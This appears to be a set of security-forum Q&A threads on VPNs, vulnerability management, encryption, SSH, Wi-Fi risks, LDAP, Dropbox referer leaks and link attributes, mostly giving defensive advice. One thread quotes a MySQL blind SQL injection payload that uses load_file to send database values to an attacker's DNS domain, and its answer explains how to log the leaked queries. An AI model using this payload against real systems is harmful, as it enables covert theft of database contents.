Would our company system be more secure using a VPN? I'm currently building a back-office system for our company [for internal use] that will manage our customers, accounts etc (not interested in don't reinvent the wheel comments today, thank you!). I'm building the system on a LAMP stack which will run on a server in-house (with off site backups, etc).

This may be a [really] stupid question, but we want our system to be available to staff remotely, but an internet-facing system seems a little risky for something that will contain too much important data. Would it be more secure for me to configure the server to only be available locally, meaning users would need to be connected to our VPN to access it? If I did that, as well as things like limiting login attempts, multi-stage login etc, what other things do I need to be aware of?

Absolutely, yes. If your users are happy with the (minor) additional effort to access the service, VPN is a great idea. Requiring a VPN will be more secure even than requiring HTTPS access to the server, because you can then tell the firewall to block all traffic to the server from outside, dramatically reducing the attack surface.

You should of course not stop at the VPN. Since this service contains a lot of important data, you will want to secure it comprehensively.  Some key areas to consider are:

"Hardening" the server(s) - disable unneeded services, make sure your patching process is good, etc.
Securing the application - You already mention configuring the server to only respond to local requests and limiting login attempts - good ideas, do them. Consider requiring SSL anyhow. Consider two-factor. Use well established security libraries instead of trying to implement your own. Have good audit logs.
Secure policies around the app - segregation of duties, account closure processes etc. Train the users to use good passwords.
Don't forget there are three parts to the CIA triad - Confidentiality, Integrity, and Availability are equally important aspects of security.

The above uis a very sketchy overview. You'll find more info about these many areas by looking around the site: and of course ask more questions!


Industry best practices for vulnerability scanning and management? I am looking for reference documents or talks as to the end results for a vulnerability assessment, scanning, and management process at a fully matured "impressive" level for a large organization that invests well in security.

I understand most everyone suggests the basics and most papers reinforce this such as "have a plan, scan, then fix, rinse and repeat". I understand what to scan and why. I have referenced a number of papers such as NIST 800-53 R4 and Sans - Implementing a Vulnerability Management Process. None give me a full understanding of an impressive state of vulnerability management, such as automating on-demand scanning after build stage but before deployment to prevent things from being found later.

My questions:

What is the best examples or reference materials of a mature vulnerability assessment and management implementation or process?

Are there de facto resources that our industry looks to as the pinnacle of a mature process for vulnerability scanning and management?

Gartner has updated quite a few research papers that cover this subject in an analytical manner -- http://blogs.gartner.com/anton-chuvakin/2015/12/29/a-quick-update-on-our-research/

However, this is a paywall that many do not have the resources for. 451 Group did an analysis of the CORE INSIGHT product seen here -- http://www.coresecurity.com/system/files/attachments/451-Research-Reprint-Core-Security-Nov14.pdf -- a paper that mentions many other vendors in the space, even though some have changed their names.

The NIST CSF and other primary frameworks provide little guidance other than "to do vuln mgmt" (not a great answer).

My recommendation is to understand what you have invested already in vulnerability management, vulnerability assessment, and vulnerability scanning -- as well as penetration testing and red teaming analysis, red team engagements, and cyber exercises. One point of reference, especially for cyber exercises, is MITRE. I really enjoyed the Cyber Exercise Playbook.

In classic or legacy environments, especially large-installation infrastructures as you describe -- you will typically only see two major commercial vendors play, but perhaps a few others that conjoin for the larger vuln mgmt picture. The best, Tenable, does not see a lot of integration among other vendors which is why Qualys seems to be a dominant vendor -- with Tripwire (formerly nCircle) being the second (although Nessus is the de-facto standard for the number of CVEs it can actively scan for and the deepness and accuracy it can muster, especially with credentialed scans -- Qualys being good at non-credentialed scans). Others, such as Trustwave TrustKeeper and Dell/EMC/RSA come to mind, but only incidentally, perhaps with a structured-program perspective such as compliance-driven.

My cyber model precludes a lot of the above. In my model, which I hope is included in future versions of the NIST CSF or similar standards, the OpenGroup FAIR risk analysis model is at the forefront, with threat assessment driving the whole picture -- where Vulnerability is always 100 percent. This model dictates that a Cyber Operations team be responsible for the vulnerability management and assessment processes, including vulnerability scanning. Modern controls, such as app whitelisting combined with EDR, or reversely, network-behavioral analysis combined with sandbox-exploding malware distribution network detection (or all four) cause a severe issue with vulnerability scanning (and vice versa). Thus, a new model for vulnerability management and assessment is necessary.

When building the concepts for a new framework for vulnerability management and assessment, I have devised a few known-good techniques. The first is to throw out continuous scanning and point-in time assessments. The concept of vulnerability management and assessment is normalized with other vulnerability, exploit, and threat data. SensePost opened my mind to this concept here -- https://www.sensepost.com/blog/2014/using-maltego-to-explore-threat-vulnerability-data/ -- but many other players, including Splunk and the vFeed project, have continued in this vein. The unwritten framework has to do with two primary concepts: red teaming analysis and red-team engagements. Red teaming analysis (RTA) is a technique that involves theorizing the probable threats and targets, with specific weapons, TTPs, and strategic areas (e.g., beachheads) placed into a table and worked through scenarios. This is usually a 6-month planning stage, followed by the red-team engagement, a 6-week hands-on assessment.

In a red-team engagement, traditional vulnerability assessment and scanning tools may or may not be utilized. Primary toolkits such as PowerShellEmpire may not include nmap, Nessus, NeXpose, or any other vulnerability scanners because it already includes advanced-evasion techniques (AET) such as SPN scanning and/or find-fruit scripting. I can imagine many scenarios that do include a Nessus plugin (for a specific, planned test case), or using NeXpose for just fingerprinting. nmap is typically done as slow as possible, with patches and modifications to provide AET, and only port at a time -- although a better use of bandwidth and time might be a tool such as pbscan. Other AET tools that can be leveraged with any of these are SniffJoke and/or McAfee Evader. Commercial tools can't provide these offensive capabilities today -- and I have not seen it on any roadmaps.

Almost any large infrastructure will lead the analysts engaging in RTA and red-team engagements to utilize data-aggregation tools. My top recommendations are LAIR framework, Faraday, and Dradis Pro -- although Splunk can certainly be a great source for long-term or correlation needs (i.e., integration to other data points, such as threat and exploit data). Which brings me to another point, how to integrate secure-configuration management data. Many frameworks talk about secure-configuration management (e.g., PCI DSS Section 2.2), but again, no major guidance is given. The Center for Internet Security offers its benchmarks and some tooling for free, but the CIS-CAT tool and other elements are locked behind their paywall. Some MITRE work through OVAL is available in the FOSS tool, ovaldi, and commercially through Joval. Some vendors do provide a gap analysis between patch, vuln, and config management, but they are difficult to configure -- I think you're more likely to have success in a Cyber Operations program with a platform such as Splunk Enterprise.

Splunk did a good job at explaining some of these paradigms at their recent SplunkSec conference -- https://conf.splunk.com/session/2015/conf2015_CMerchant_Oracle_SecurityCompliance_AffordableSecurityMakingThe.pdf -- and SANS in a recent paper on vulnerability data analytics -- https://www.sans.org/reading-room/whitepapers/metrics/applying-data-analytics-vulnerability-data-36532


Only one entry in No-SQL database needs encrypting So I have the document format as follows:

{
    id : plaintext,
    date-created : plaintext,
    data : binary
}

The data entry needs encrypting and decrypting. My idea was to have a private key, and use subsequest hashes of the id and date created (which will never change) to form a unique password for each document. Is this worth doing, or is it just wasted effort?

For what it's worth, the server uses Python.

It depends on how you store, manage, and use that secret key. (You meant "secret" key, not "private" key, I assume. If it's locked in a secure file, that's about all you can do short of having a hardware security module.

But it's still close to security through obscurity. If an attacker has all the time in the world to explore your systems, is a trusted insider, or if it's a commercial product, he will find out how to become an admin, access your key and decrypt it. But if it's a snatch and grab crime of opportunity, you might get lucky because he may not bother to grab "encrypted" data, or know where to find the key. So in that sense it reduces a small bit of risk. These days, I'd take that over storing plaintext.

Just know that it's not perfect security, and it shouldn't be your only defense.


Implications of prominent *secure messaging apps* requiring phone number identifiers More specifically and also generally than this related question, I'm curious about the privacy implications of prominent secure messaging apps (marketing themselves as protecting users' privacy) requiring identification via a phone number.

Signal, Telegram and TextSecure are the top-rated EFF secure messaging apps, earning green checkmarks in all categories. Yet all three require you to sign up with a phone number. The are two common reasons given for this:

Ease of use - I understand a phone is the easiest physical second factor to obtain, and there's certain value in making privacy and security available to the less computer-savvy, but it's not like usernames are "complicated" - we've had more than a decade of username-based messaging apps like AIM, Yahoo! Messanger, and even the current Google Hangouts.
Preventing abuse and spam - again not really an issue. To prevent abuse, the messaging services could use strong CAPTCHAs. SIM cards are 50 cents a piece, and that's after about a minute of searching on the US eBay. They're probably far cheaper in Asia or on the darkweb, and are routinely used to attempt to defraud various services that offer promos (e.g. free ride/delivery) to first-time users. However, messaging apps don't really offer high-value services. Also, it's easier to mass-IM all phone numbers in a range, offering geographic targeting even (by phone area code) than randomly generate user IDs (albeit I'd feel sorry for early adopters like joe and sam).

I still don't understand why all these apps don't offer an option to just create a username, without ties to a tracking device the user carries in their pocket. (Note that many services specifically prohibit signing up with VoIP numbers like Google Voice, and ban free SMS verification services.)

Anyway, given that it seems we're stuck with secure messaging apps using the user's phone number as the identifier, what are the security and privacy implications of this? I see,

Oppressive regimes can block services that rely on registration connected to the telecom infrastructure of a country. Iran apparently has just done this to Telegram.
A highly increased risk of phone account hijacking, and hence complete account takeover and impersonation (which can be trivially used for example to lure a whistleblower into the hands of violent regimes)
Since SMS traffic is collected by the NSA to the tune of 200M texts a day (in 2014), any user receiving an authentication code via SMS from these "secure" messaging systems will very likely be flagged. Signal confirmed that it's possible to determine an SMS user is a Signal user, by design.
Blatant exposure of relationships between users via metadata.  Prof. Kieran Healy wrote an excellent story showing how metadata (here, belonging to a group that meets, vs. the content of the meeting) can be used to identify key individuals - Using metadata to find Paul Revere. This means that if I Signal about something completely innocuous with an individual I had no idea was on a watchlist, I could very well be associated with them as a suspect. In that case, I'd prefer my communication were not encrypted, so it would be visible that I'm not talking to the suspicious identity of the individual. Yet phone-number based secure messaging apps will do just that - associate my identity with that the of the suspect.
Your phone number inevitably is leaked to the other party. You don't generally want that when posting a classified or dating ad - which is why the popular messaging platform in these sensitive situations is not a secure messaging app, but Kik, which lets you create a username.

As an innocent individual, it seems phone number-based secure messaging apps might bring more concern than security, due for example to the very real possibility of mistakenly ending up on a terrorist watchlist, or being flagged for the sole reason that you're using technology that was advocated in extremist forums.

Where am I wrong? What have I missed?

Not having a phone number tied to you wouldn't really stop intelligence agencies from associating you with who you're talking with.

Encryption ensures they can't track what you're talking about, but real time messaging service like these can always track who your talking with, because they need to route messages to the right recipients based on information which is part of the message metadata that's not end to end encrypted. Even without the cooperation of the chat service provider, governments and ISP can get a pretty good idea who you're talking with using timing attack.

To get anonymity, to protect against identification, you need a mixer network (Tor is an example of such mixer network). A mixer network routes your messages over multiple nodes over multiple mutually distrusting jurisdictions to make deanonymization truly difficult. It trades off latency for anonymity. One example of messaging network that runs over a mixer network is TorChat.


What are the security issues of a MITM on an ssh session with rsa keypair If a user connects to an SSH server using an rsa private key, but does not confirm the server's fingerprint. What kind of information can a man in the middle attack get from the session?

If they want the connection to go through all the way to the legitimate server: absolutely nothing.  (Well, nothing a passive observer can't learn.)  The endpoints establish a shared secret via DH, which is part of the data signed with the public key. (Source.)  Consequently, if the attacker subverts (MITMs) the DH key agreement, the authentication will fail.  If they don't subvert the DH key agreement, then they can't read the traffic being passed.

Now, if you don't verify the RSA key, I can still allow your authentication as a MITM, and provide an interface where I pretend you're interacting with the remote server.  For example, if you're performing an SCP, I can still steal a copy of the file you're transferring.  I can log you in to a shell where I ask "you must change your password" and ask for old/new passwords, and use it to phish SSH.


I connected to a suspicious public wifi using my phone. Is it possible that my phone was hacked? I recently was outside looking for public wifi because my android mobile internet wasn't very good. I went past a garage that had free wifi apparently, so I went up there and connected to their wifi.

However, despite being somewhat close to the garage, the wifi signal was still poor. I looked and saw a few dozen meters away some apartments and I realised that I could be connecting to some unknown wifi in the apartments,run by someone bad. I then quickly disconnected and left.

The good thing was that I was only on the wifi network for about 10-15 seconds and I didn't visit any websites where they could look at my data. Also the signal was really really weak. Though I looked online and found this:

  Once a victim connects to the rogue Wi-Fi hotspot, the host hacker can then intercept data and even use tools to inject malware into the connected devices.

https://us.norton.com/internetsecurity-wifi-why-hackers-love-public-wifi.html

So I feel a bit uncomfortable. My phone also acted a little strange, saying it had 15% battery still and then suddenly 1% and switching off. Then when i plug it back in to recharge, it suddenly says it has 40% battery.

Is it physically possible? Yes. Is it even remotely likely? No. There are two primary ways to attack someone's device (mobile or otherwise) over an attacker-controlled network, such has WiFi:

Injecting malware - When you are connected to a malicious hotspot, there is the risk that files you download are intercepted and modified. If you are downloading a program for example, a malicious hotspot could replace it with malware. Likewise if you are willingly sending sensitive personal information to a website, it risks interception. For this to be an issue, you have to actually use the network, not just be passively connected to it. You said you did not.
Exploiting the protocol - Connecting to WiFi involves several complex protocols, including the IEEE 802.11 standard (WiFi itself) and DHCP. Any bugs in the implementation of these protocols carries with it the risk of being exploited. If the attacker is exploiting the protocols, then merely connecting to the network (or in some cases, simply being in range of it) is sufficient to compromise your device. Some applications also automatically connect to the network as soon as you connect (for software updates, notifications, sync, etc). If these applications are vulnerable or outdated, it may be possible to exploit those as well. These are advanced attacks and are unlikely to occur, especially if your device is kept up-to-date.

So, what should you do? Despite what some other answers are saying, you do not need to do anything as drastic as a factory reset (note that an advanced attacker can still maintain a compromise despite having done a factory reset). Just set your device to only connect to trusted hotspots, and make sure the hotspots you are using are trusted and encrypted with WPA2.


How does LDAP keep an authenticated session I feel like I'm missing something, because I'm not finding an answer

Let's have a pretend scenario.

I connect to an LDAP server
I issues a BIND command and successfully log in
(I think the sever would return something)
I issue a DELETE command

How does the server know that it is still me when I issue the DELETE command?
There must be a session.

But what does that session look like? Is there a token?

I'm not sure I'm asking the right questions here.

It knows it's you because you're sending all requests over the same stream (TCP) connection. (And TCP knows that because the ports and packet sequence numbers all match.)

In other words, LDAP is a stateful protocol, and the whole session (including authentication) is implicitly bound to the underlying connection. (The same as with all other similar protocols, like IMAP or SSH.)

Of course, TCP itself isn't very good at that (e.g. just sniffing the sequence numbers would let someone to take over the connection), so usually TLS and/or SASL are used to provide encryption and integrity.

Note that as far as the LDAP server is concerned, the answer's the same – all requests arrive over the same stream connection. Only now TLS cryptographically enforces this.

(Side note: Yes, SASL is not just an authentication protocol – it also allows mechanisms to derive a session key and use that for 'sealing'.

The sealing feature of SASL is rarely used due to various disadvantages, though. LDAP is practically the only protocol supporting it, while everything else relies on TLS.)


How BIOS password stored internally? Is password hashed before saving to CMOS?
Which hash algorithm is used?
How much storage is dedicated for passwords?

What is about passwords of SSD with AES?
Does BIOS save it inside drive (just pass it to device for further processing)?

Is password hashed before saving to CMOS?

Depends on the BIOS.

  Which hash algorithm is used?

Depends on the BIOS.

  How much storage is dedicated for passwords?

Depends on the BIOS.

  What is about passwords of SSD with AES? Does BIOS save it inside drive (just pass it to device for further processing)?

There are a lot of different technologies for SSD encryption with AES, some of which may involve the BIOS. If it is using Real Encryption (TM), as use of the term "AES" implies, then the password should not be "saved inside the drive". Sometimes it's just a lock rather than real encryption, though, in which case the password, or a hash of it, is saved somewhere. It depends on the BIOS and SSD.


Hybrid Encryption: What is the format for storing the encrypted key and the cipher text together? In the scenario of a hybrid encryption for which I use RSA (asymmetric) to encrypt the encryption key used with AES (symmetric) to encrypt my message, I need to store the encrypted key with (together) the cipher text and all in the same column of the DB. In order to then be able to request this value pair and perform the decryption.
What are the best practices for composing this pair:
Simply an Encrypted Key + Cipher Text with an identifiable separator? Or something else ?
Thank you

Email encryption has faced the same problem and come up with two solutions.

You might want to look into PKCS#7 aka the Cryptographic Message Syntax (CMS). It allows for storage of not only the encrypted AES key but also certificate information (issuer and serial number) to identify which public key was used for encryption.
Alternatively, PGP has a very similar system with its own message syntax. PGP also stores a key identifier to tell the decryptor which public key was used for encryption.

Both formats can be stored as BLOBs or CLOBs to work around database column size restrictions. Both formats also support message signatures, should you need that, too.


Store and protect details for software licenses Assuming that a license can be a key (XXXX-XXXX-XXXX-XXXX), a file (license.xml or whatever), or a login for a dashboard on the vendor website, how would be a standard way to store and secure those licenses?

I thought of getting a external HD or a flash drive, store, encrypt, inform the password for the people responsible of handling these licenses. I also thought of using a tool like KeePass, but it won't work with licenses that comes in configuration files.

You can use the attachment feature in saving password in Keepass to store your files highly-encrypted, but Keepass or other software solutions like Lastpass have the risk of being a single point of failure!

The protection of all information depends on keeping one master password safe. If you forget it or someone sniffs your master password, all will be gone!


I want to roll my personal cloud hosted Password Manager using pass. How secure/insecure would this be? I've come to the conclusion that I need to up my security. I currently have a dozen memorized passwords I use for every device and website. I'm against KeePass/Lastpass due to having to trust they haven't been compromised. Same goes for using an RSA Key.
My Idea of a Solution:

I'd have a dedicated unix box (perhaps bsd, perhaps debian) hosted in my cloud. It would have gpg, pass, pwgen, and a ssh server.

This box would only be accessible with the keyfile, and I'd generate a unique key for each client of mine. In case of a compromised device, I can revoke that key.

I would generate passwords using pass, which generates, manages, and using a gpg key encrypts passwords.

I would backup my password-store using git, rsync, or some sort of cron job to push the password-store through sftp, but a digital copy of my gpg key would never leave the server.

I'd keep a copy of my gpg key as a qr code in a safety deposit box.

Does this seem like a working model or are there already holes? Am I in over my head trying to roll my own password management system?

You proposed method basically amounts to storing the cleartext passwords on a rented virtual machine, which is actually less secure than a normal password storage service, assuming it is properly implemented to perform all of the encryption on the client.  Since the passwords are generated on that machine and the encryption key is stored on that machine, you are relying on the security of the machine, which means you are trusting the operator of the cloud service, and are also trusting that there won't be a vulnerability in SSH or some other network software you are running that allows an attacker to gain access to the machine.  (Encrypting the passwords on the virtual machine doesn't accomplish much since the key is also stored there.)


Would requiring multiple passwords enhance security? I assume that it was considered at one point, and that there's a good reason for not doing it, I'm just curious as to why. I'm sure that there are many people who struggle to remember a single password for a site, but aside from that, would requiring two or three passwords to login to a website really enhance security, or would you gain a similar benefit by just increasing your password complexity?

It depends what you mean by "enhance security". On the one hand, yes, it's more pieces of information for a thief to steal, but on the other hand, if they can steal one password, chances are they can steal all your passwords.

For a great discussion on multi-factor authentication see this answer. by @tylerl.

The Cole's Notes is: we like to have multiple authentication elements which

  fall under different categories with respect to "something you have", "something you are", and "something you know".

Having authentication elements from more than one category (ex.: a password and a fingerprint, or a password and an SMS code on your phone) is properly called multi-factor authentication, while having multiple elements from the same category is called mutli-step authentication.

Stealing "something you know" typically requires planting a keylogger or file sniffer on your computer, watching you type your passwords, stealing the paper you wrote it down on, etc.
stealing "something you have" typically requires lifting something from your office after hours, stealing your laptop bag with the key gen token in it, etc
stealing "something you are" typically requires some kind of access to your biometrics.

So having multiple elements from the same category does add some barrier to theft, but not much since stealing all the passwords is not much harder than stealing one password, stealing all the physical objects is not much harder than stealing one physical objects, etc. Usually the inconvenience far outweighs the added security. It's much better to require thieves to perform a data theft and a physical theft, etc.


VNC connection failed: Too many security failures I am trying to use VNC to vnc4server from the Remmina client via an ssh tunnel. I establish the ssh tunnel with ssh -L 5901:127.0.0.1:5901 user@remoteIp I have had successful VNC sessions to this server in the past. However I am now getting an error.

What is the cause of this Remmina error message.

VNC connection failed: Too many security failures

Does this mean somebody is trying to intrude (hack into) my server?

How would I investigate this? I have a login session which I can use to investigate this because the command to setup the ssh tunnel gives me a shell prompt.

The information at this link suggests to me that it was an attempt at intrusion. To succeed in establishing a VNC session a legitimate user must wait. In practice waiting a few minutes is necessary before a successful VNC session is allowed once again. There is no need to re-establish the ssh tunnel.


What was the security vulnerability behind Box and Dropbox and what's different now? Earlier today I received a number of comments saying that my shared links were disabled. I looked around and saw a number of articles explaining what happened, and Dropbox posted an official statement

For background, whenever you click on a link in any browser, the site you’re going to learns where you came from by something called a referer header. The referer header was designed to enable websites to better understand traffic sources. This is standard practice implemented across all browsers.
Dropbox users can share links to any file or folder in their Dropbox. Files shared via links are only accessible to people who have the link. However, shared links to documents can be inadvertently disclosed to unintended recipients in the following scenario:
A Dropbox user shares a link to a document that contains a hyperlink to a third-party website.
The user, or an authorized recipient of the link, clicks on a hyperlink in the document.
At that point, the referer header discloses the original shared link to the third-party website.
Someone with access to that header, such as the webmaster of the third-party website, could then access the link to the shared document.

Personally, I am not too clear what the vulnerability is, as I've always been under the assumption that a shared link is basically a public link, since I never actually specified WHO has access to it. For example, on Google Drive I can choose who has access to it, regardless whether they have the link or not.
The next paragraph in their statement says that they have patched the vulnerability. How was this done? It looks like if someone managed to get ahold of your shared link, they're still going to have full access to it. At least, when I created new links to my shared folder, I didn't see anything different.

The referer header is a HTTP request header that is sent by the browser whenever you navigate to a different page - the URL of the page that contained the link you clicked is sent to the new page within this header (even if it is a different domain).
The referer isn't sent if you type in a URL, and it is not sent by most browsers if your current page is protected by TLS (https://).
This page can be used to find out if you referer is leaked to it, but this of course will depend on where you link to it from.
The Dropbox vulnerability is when a file is shared via the web and a public URL is generated. This URL is in the form https://www.example.com/s/123456qwerty/file.htm, where 123456qwerty appears to be a randomly generated token.
Normally these links only present a download link to the file, but you can modify the URL from https://www.dropbox.com/s/... to https://dl.dropbox.com/s/... which will then become https://dl.dropboxusercontent.com/s/... and would present the HTML file as being served from this domain. Also, the protocol can be changed to http which would disable the protection of the referer normally enabled by using the https protocol.
If you share this dl link with somebody, and the HTML file contains links to 3rd parties, the referer could be sent to the third party when links are clicked, exposing your private share URL with the third party. They would be able to view the referer header in their server logs or site analytics reports. This has also caused a second problem when users enter the generated links in a search engine instead of the browser's address bar, as when ads are displayed the PPC report to the advertiser shows the search term that was used, which happens to be the "private" URL to the file.
I'm not sure what the official fix is, bar the temporary deactivation of some shared links (although I haven't been notified of any disabled on my account). Computer Weekly reports:-

Dropbox has now disabled access to links that have been previously shared and implemented a patch to prevent shared links from being exposed from now on.

Possible fixes to this issue could include:

Parsing of the page to change links such as http://www.example.com to use a service such as https://href.li so the link becomes https://href.li/?http://example.com/ (or more probably, Dropbox's implementation of such a service). This won't work with more complicated links, such as those generated or redirected by JavaScript.
Parsing of the page to change links to use the HTML 5 noreferrer tag. This won't work with more complicated links, such as those generated or redirected by JavaScript.
Force HTTPS for all shared HTML pages. This won't work on all browsers.
Make HTML pages downloadable only instead of displayed inline - this could break some user setups though if they are using Dropbox as a static file server rather than simply sharing.
An auth cookie generated when a shared link is followed by the original recipient. This would set the cookie and then redirect to a new URL. e.g. https://www.example.com/s/123456qwerty/file.htm sets the cookie then redirects to https://www.example.com/s/auth/zxcvbn76543/file.htm which is only accessible if the auth cookie is present. This would make any leaked referer data useless as the URL can only be used in combination with the cookie. This would break any bookmarking of the shared links though, unless the original link was saved manually.
Setting a referrer-policy header to prevent the referer from being leaked in supported browsers.

You could test the final fix (whatever that may be) by this linking to a site from a shared Dropbox HTML file, checking the referer and finding out if you get the same result as the hidden version. At the moment of writing, these are still being sent by my Dropbox shared HTML page when accessed over http.
Update

The next paragraph in their statement says that they have patched the vulnerability. How was this done? It looks like if someone managed to get ahold of your shared link, they're still going to have full access to it. At least, when I created new links to my shared folder, I didn't see anything different.

Only recently have Dropbox added Passwords for Shared Links and Shared Link Expiration to their Pro accounts only.

If you’re a Dropbox Pro or Dropbox for Business user, you can set a password for any shared link that you create. This helps to ensure that only collaborators with the password can access your shared content.
If you’re a Dropbox Pro or Dropbox for Business user, you can set an expiration for any shared link that you create. This enables you to provide temporary access to content that you want to share.

These two features help resolve the vulnerability of files being accessible due to referer or PPC reports.
Update 2
As per https://www.dropbox.com/help/files-folders/public-folder:

As of September 1, 2017 public links have been disabled for all users.


How to know if unauthorized users have connected to my home wifi? I have a TP-Link wifi router. There is no screen on the front to indicate how many devices are connected to it. Is there any way to either access logs or in real-time monitor how many devices are connected, so I can verify that it is secure?

TP-Link routers, like most home routers I know about, maintain a system log that one can view through the web browser administrative interface.

You could use a cast-off computer to read the log file repeatedly and do something like send an SMS message any time there's a new connection, or when the number of connections reaches a threshold, etc.

You might be able to send the log entries to a central log server using the syslog protocol.  I haven't researched TP-Link that far.  Then your remote logging server could do the monitoring.

Both of those seem like overkill to me.  Use a really strong (i.e. randomly generated) password, which you write down and keep someplace safe.  Use the strongest authentication available, which is likely to be WPA2.  Check the logs every week or so for strangeness.  If you're really paranoid, turn the router off when you're not using it.


Blind SQL Injection using OOB DNS Practical Sniffing Help I was looking at Excellent Article from Defcon 15's which was Data retrieval over DNS during SQL Injection Attacks. (https://www.youtube.com/watch?v=iQDw0hK_eFw). In this the speaker demonstrated the Attacks against MSSQL.

I just tried to reproduce the Same issue but with MySQL server, by little lookup i found load_file(\\\\dns.mysite.com\\) can Hit DNS server exposing whatever attacker concats into load_file() like @@version , user() etc if the Application is Vulnerable . The question is How could i actually Keep the SNIFF THE DNS Request made to my server , As you look in the video the speaker users a DNS Sniffer to log the Hit request from vulnerable site to his Server.

Do anyone have inputs about How to practically setup a Attacker's web server (mysite.com)  by DNS Sniffing or any other techniques which i missed out here?

Interesting video.
In my opinion, to setup this kind on technique, you need to:

Own a domain name, say mysite.com
Each domain name has an "Authoritative name server". Usually the Authoritative name server are managed by the company that sold you the domain name.
You need to setup you own Authoritative DNS server on a public IP address, then ask the company that sold you the domain name to set your DNS server as the Authoritative name server for your domain.
Now you own the DNS server that will respond to the DNS query made by this supposedly vulnerable website/application
Due to the fact that you own the DNS server you can simply log all the DNS request, that will contain your data.
Or maybe you prefer to setup a sniffer, like Wireshark, on the DNS server, to just sniff the DNS requests in real time.

Note: I never tried to setup an Authoritative name server, so I don't know if there is any particular thing (technical or bureaucratic) to do.

Note 2: DNS modifications take time to propagate, so I suppose that also an Authoritative name server change will take some time to propagate world-wide.


Determining safety of Android APK executable that requires root On my request, a developer gave me a new version of his Android app to test.  The app  requires root permissions.

I do not know the developer personally.  I have no specific reasons to trust or distrust him/her.

How can I check the APK to best ensure it is safe?

Virustotal is a common site to check files, but it's unclear if it is appropriate or comprehensive for Android APK files.

You mention that the developer sells a public version of this application you were given. If you trust the public application then you can use androguard(androsim & androdiff) to figure out the similarity % between your new version and the public version.

If say, they are 95% similar then you only have 5% of the code to inspect. Then you can even see what specifically is different between the two apps and decide for yourself if the new code is malicious and if you'd like to use that app.


Virus attached or included in VST(i) Plugin VST Plugins are DLL files available to be put into a folder in the Music Tool which then can use this as a plugin.

Does VST have a mechanism not to execute malicious code inside the dll file?

Can I safely install them without anti-virus?

A VST is just a DLL which exposes a specific interface. As such, it can contain arbitrary code, and can do anything that an EXE could do. Treat it as such. If you don't trust it, don't run it.

Keep in mind that virus scanning will only protect you against known signatures, so something unknown or custom might still catch you out. Running the plugin through VirusTotal or a similar service may help, but ultimately you can never be sure and there is always a risk.

My advice would be to research the plugin and the person/company who wrote it, and the site you downloaded it from if it's coming from somewhere generic. Verify their trustworthiness by reading reviews, looking at their other work, and seeing which communities they're active in and trusted by.


Keep encrypted files in sync on a cloud service, without having to upload an entire encrypted volume each time Situation:

User has several folders worth of GBs which they want to keep in
sync on a cloud service (for example Mega or Dropbox) in an encrypted form;
User does not want to sync a single encrypted volume, because this
would mean, obviously, re-uploading the single volume every time even the smallest file in it changes;

It is clear that this rules out, for different reasons, VeraCrypt or EFS.

What should be the solution?

this would mean, obviously, re-uploading the single volume every time even the smallest file in it changes;
It is clear that this rules out, for different reasons, VeraCrypt or EFS.

That's not true. VeraCrypt does not re-encrypt the whole encrypted volume on each change of the files inside and Dropbox does not upload the whole volume if only a small part of it changes:

Dropbox tries to achieve the best possible performance by trying to be as smart as possible about what data it transfers. It only uploads changes made to the file instead of the entire file.


Does TLS protocol make encryption at L2/L3 layers redundant? If a pair of endpoints are using TLS protocol for secure data exchanges, does it make the encryption at the network or MAC layers redundant?

E.g. if I create a TLS session between two endpoints using bluetooth as transport, then can I turn off encryption at bluetooth level and still get the same level of data communication security?

TL;DR: TLS secures the connection to a specific host or service. It will not help to make sure that the right host or service is chosen correctly. If this is a problem or not depends on the specific use case.

TLS provides end-to-end protection against sniffing and modification even if no such protection is employed at the lower layers. It will also detect if an attacker tries to spoof an existing system by redirecting the underlying layers (i.e. ARP spoofing or spoofing response to an DNS A/CNAME lookup). Thus you don't need to have additional protection  at the bluetooth level for an already TLS protected transfer.

But note that there might be parts of the systems protocol stack which are not sufficiently protected and which might lead to creating a TLS connection to the wrong host name or service. For example in order to deliver a mail between mail servers a DNS MX lookup is done to find the mail server for a specific domain. Since DNS lookups are commonly not protected against spoofing, a spoofing of the response to an MX lookup might be used to return a different target host name which results in a connection to the wrong (spoofed) mail server. In this case TLS will not help since the connection is done to the expected (spoofed) mail server which also returns a valid certificate for this (spoofed) mail server. Similar insecure discovery of target hosts and services exist in other protocols, like SIP (VoIP)  or WPAD.


What measures beyond those for general software, if any, should be taken when preparing a work PC for lunchtime or after-hour gaming? In some companies (not the one I work for), there are certain groups of employees that have permission of management to play certain games on their office network after the work day has ended. This was mainly prevalent back in the days of local-only multiplayer and less so now, but some companies still allow this. In addition, some companies give certain employees permission to play during work hours, mainly security personnel during the graveyard shift or a quick match of FIFA or Quake during the lunch break. Some companies even buy a console to do so. For example, in my previous employment, the company installed an Xbox One which was used mainly to play FIFA.

If the company gives permission to do this, are there any measures that should be taken for this that go beyond those for installing software in general? Or are the threat models similar enough for this to not matter?

Separate off network pc for gaming.
Or a video console off network and not a pc.

No gaming on corporate network.

Downloading games is risky, lots of backdoored bootleg copies of games that can put your whole company at risk.

Also keygens and license bypass tools are riddled with malware too.

Also game chat rooms are littered with social engineering , phishing links , etc that will lead to a breach.


Is noreferrer enough to secure links? Is the use of noreferrer enough for links that use target="_blank" in order to avoid reverse tabnabbing

For context here is an explanation of the issue:

"Target=_blank - the most underestimated vulnerability ever"
"About rel=noopener"
Steemit article on tabnabbing performed on social media

So my question is: what's the consequence of forgetting to add also noopener and nofollow (that I see used on most websites)?

Are there browsers that are affected by the lack of the last two attributes?

As far as I know the safest solution is to launch the link in a new tab from a temporary iframe but I see some websites out there using only noreferrer so I was wondering if there's some issue using only noreferrer.

Only set up noreferer if you are privacy-paranoid. noopener otherwise. At least one of these two must be present on links pointing to external websites in a new browsing context (there is a target value). Add nofollow for unrelated (ad partners) websites.

noreferrer includes the behavior of noopener, which is the most important one from a security point of view (see this for an example of attack). So noreferrer noopener = noreferrer.

nofollow indicates that you don't endose any responsibility for this link so it won't change anything for security (Search engine might still follow this link)

Don't do complex things with iframe for such a simple result as opening a link (you will break native security in browsers).


Is it possible to make one processor look like another? (aka) Is it possible to hack CPUID instruction or BIOS to make it show wrong CPU information?

Yesterday, I was having a chat with computer sales guy. He is little close to me. During the conversation he said that, A processor is not what it shows in bios. On inquiring further he said that they know a guy  who can make a processor look like another. I didn't believe him. Then he said that for past few months they've been selling computers with Celeron processors by posing them as duo core. I was shocked! I started arguing with him about how its not possible. He simply gave a smile.

I've been racking my brain since then on how on the earth is it possible:

He might be lying to me, I mean what ever he said is a lie. But I don't see any point on why he would do that.
They are actually hacking the bios to show wrong information?
They are hacking CPUID processor instruction to make it return wrong values. I think its impossible.

